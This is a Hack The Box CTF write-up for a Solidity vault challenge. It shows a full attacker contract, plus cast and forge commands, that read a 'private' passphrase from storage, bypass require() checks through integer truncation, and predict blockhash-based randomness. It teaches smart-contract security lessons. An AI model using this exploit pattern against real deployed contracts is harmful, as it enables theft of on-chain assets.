$ cat writeup.md…
$ cat writeup.md…
hackthebox
Task: Unlock a Solidity vault with contradictory require() conditions and claim content. Solution: Read private passphrase from storage, exploit uint128/uint64 truncation bypass, replicate blockhash-based randomness in attacker contract for atomic unlock.
Alex walked through the monster's dorm, her sword drawn. As she explored, she found a small room hidden behind a heavy curtain. Inside, she saw a small, dark chamber with a single chest in the center. It was the magic vault she had heard rumors of, containing powerful magical artifacts. Excited, Alex approached the chest and touched it, feeling the pulsing energy that radiated from it. But as she tried to open it, she realized it was locked tight by powerful magic. Frustrated, she set out to find the key that would unlock it.
Goal: Call claimContent() so that mapHolder() returns an address different from address(TARGET). To do this, you first need to unlock the vault via unlock() with the correct password.
Setup.sol — standard setup, deploys Vault. Checks solution: isSolved() returns true when TARGET.mapHolder() != address(TARGET).
Vault.sol — main contract with multi-level locking system:
contract Vault { struct Map { address holder; } Map map; address public owner; bytes32 private passphrase; uint256 public nonce; bool public isUnlocked; constructor() { owner = msg.sender; passphrase = bytes32(keccak256(abi.encodePacked(uint256(blockhash(block.timestamp))))); map = Map(address(this)); } function unlock(bytes16 _password) public { uint128 _secretKey = uint128(bytes16(_magicPassword()) >> 64); uint128 _input = uint128(_password); require(_input != _secretKey, "Case 1 failed"); require(uint64(_input) == _secretKey, "Case 2 failed"); require(uint64(bytes8(_password)) == uint64(uint160(owner)), "Case 3 failed"); isUnlocked = true; } function claimContent() public { require(isUnlocked); map.holder = msg.sender; } function _generateKey(uint256 _reductor) private returns (uint256 ret) { ret = uint256(keccak256(abi.encodePacked(uint256(blockhash(block.number - _reductor)) + nonce))); nonce++; } function _magicPassword() private returns (bytes8) { uint256 _key1 = _generateKey(block.timestamp % 2 + 1); uint128 _key2 = uint128(_generateKey(2)); bytes8 _secret = bytes8(bytes16(uint128( uint128(bytes16(bytes32(uint256(uint256(passphrase) ^ _key1)))) ^ _key2 ))); return (_secret >> 32 | _secret << 16); } }
private Doesn't Mean SecretThe passphrase variable is declared as private, but everything is public on the blockchain. Contract storage layout:
| Slot | Variable | Type |
|---|---|---|
| 0 | map.holder | address (struct Map) |
| 1 | owner | address |
| 2 | passphrase | bytes32 |
| 3 | nonce | uint256 |
| 4 | isUnlocked | bool |
Read passphrase via cast storage <vault_addr> 2.
unlock() Requirements — Seem Contradictory but SolvableInput parameter: bytes16 _password (16 bytes = 128 bits).
_secretKey is computed from _magicPassword():
_magicPassword() returns bytes8 (8 bytes = 64 bits)bytes16(bytes8_value) — pads with zeros on the right: [magic_pwd | 00000000]>> 64 — shifts right by 64 bits: [00000000 | magic_pwd]uint128(...) — result: upper 64 bits = 0, lower 64 bits = magic_pwdSo _secretKey = [0000000000000000 | magic_password_64bit].
Req 1: uint128(_input) != _secretKey — full 128 bits of password must NOT equal secretKey.
Req 2: uint64(_input) == _secretKey — lower 64 bits of password MUST equal secretKey. Since _secretKey fits in 64 bits (upper zeros), uint64(_secretKey) = magic_password.
Req 3: uint64(bytes8(_password)) == uint64(uint160(owner)) — upper 8 bytes of password must equal lower 8 bytes of owner address.
Solution: Password = [owner_low_64bit | magic_password_64bit]. Req 1 is satisfied because upper 64 bits are non-zero (owner address), while secretKey has zero upper 64 bits. Req 2 is satisfied because lower 64 bits match. Req 3 is satisfied by construction.
_magicPassword() Depends on Block ContextThe function uses blockhash(block.number - reductor) and block.timestamp. These values are the same for all calls within the same block. This means if we call unlock() from an attacker contract that replicates the _magicPassword() logic in the same transaction, we get the same result.
passphrase Must Be Read in Advancepassphrase is set in the constructor and used in _magicPassword(). This is the only value that cannot be computed at runtime — it must be read from storage.
curl http://154.57.164.78:31875/connection_info
Received:
0x6f74a219d35c58e66370c0cf1f059d6d99d96dfe3c8a8e565c883439188a13db0xD4d6Fa156756926e93F510eF52D4a69275f358990xDD23fa518a6e074AE49DCf0F2A0034Ba7bF43Ce30x5a329D6840648EB1DD1E61A5c2909bAd7aA57613# Slot 2 = passphrase (private, but readable!) cast storage 0xDD23fa518a6e074AE49DCf0F2A0034Ba7bF43Ce3 2 --rpc-url http://154.57.164.78:31875/rpc # 0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; interface IVault { function unlock(bytes16 _password) external; function claimContent() external; function owner() external view returns (address); function nonce() external view returns (uint256); } contract Attack { function attack(address _vault, bytes32 _passphrase) external { IVault vault = IVault(_vault); address vaultOwner = vault.owner(); uint256 currentNonce = vault.nonce(); // Replicate _generateKey(block.timestamp % 2 + 1) uint256 reductor1 = block.timestamp % 2 + 1; uint256 key1 = uint256(keccak256(abi.encodePacked( uint256(blockhash(block.number - reductor1)) + currentNonce ))); currentNonce++; // Replicate _generateKey(2) uint128 key2 = uint128(uint256(keccak256(abi.encodePacked( uint256(blockhash(block.number - 2)) + currentNonce )))); // Replicate _magicPassword() bytes8 secret = bytes8(bytes16(uint128( uint128(bytes16(bytes32(uint256(uint256(_passphrase) ^ key1)))) ^ key2 ))); bytes8 magicPwd = (secret >> 32 | secret << 16); // _secretKey = uint128(bytes16(magicPwd) >> 64) uint128 secretKey = uint128(bytes16(magicPwd) >> 64); // Construct password: [owner_low_64 | secretKey_low_64] uint64 ownerLow = uint64(uint160(vaultOwner)); uint64 secretKeyLow = uint64(secretKey); bytes16 password = bytes16(uint128( uint128(ownerLow) << 64 | uint128(secretKeyLow) )); // Atomic: unlock + claimContent vault.unlock(password); vault.claimContent(); } }
Why this works:
block.number, block.timestamp, blockhash() are identicalnonce is read before calling unlock() → value is currentpassphrase is passed as parameter (read from storage beforehand)unlock() and claimContent() are called atomically — if unlock fails, the entire transaction reverts# Deploy attacker contract forge create src/Attack.sol:Attack \ --rpc-url http://154.57.164.78:31875/rpc \ --private-key 0x6f74a219d35c58e66370c0cf1f059d6d99d96dfe3c8a8e565c883439188a13db # Execute attack cast send <ATTACK_CONTRACT_ADDRESS> \ "attack(address,bytes32)" \ 0xDD23fa518a6e074AE49DCf0F2A0034Ba7bF43Ce3 \ 0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563 \ --rpc-url http://154.57.164.78:31875/rpc \ --private-key 0x6f74a219d35c58e66370c0cf1f059d6d99d96dfe3c8a8e565c883439188a13db
# Check isSolved() cast call 0x5a329D6840648EB1DD1E61A5c2909bAd7aA57613 "isSolved()" \ --rpc-url http://154.57.164.78:31875/rpc # 0x0000000000000000000000000000000000000000000000000000000000000001 (true!) # Get flag curl http://154.57.164.78:31875/flag
In Solidity, bytes and uint have opposite alignment:
bytesN — left-aligned (big-endian, most significant bytes on the left)uintN — right-aligned (least significant bytes on the right)bytes8(0xAABBCCDDEEFF0011) → [AA BB CC DD EE FF 00 11 __ __ __ __ __ __ __ __]
← bytes16 padding with zeros on the right
uint128(0xAABBCCDDEEFF0011) → [__ __ __ __ __ __ __ __ AA BB CC DD EE FF 00 11]
← uint128 padding with zeros on the left
This is critical when converting bytes8 → bytes16 → uint128 → shift → uint64.
When uint128(x) != y but uint64(x) == y:
y fits in 64 bits (upper 64 bits = 0)x has non-zero upper 64 bitsx match yThis is a classic pattern for bypassing "contradictory" checks through bit-width differences.
blockhash(block.number - N) is deterministic within the same block. An attacker contract called in the same transaction sees the same block.number, block.timestamp, and blockhash() values. This makes any "randomness" based on block data completely predictable.
Deploying an attacker contract allows:
$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar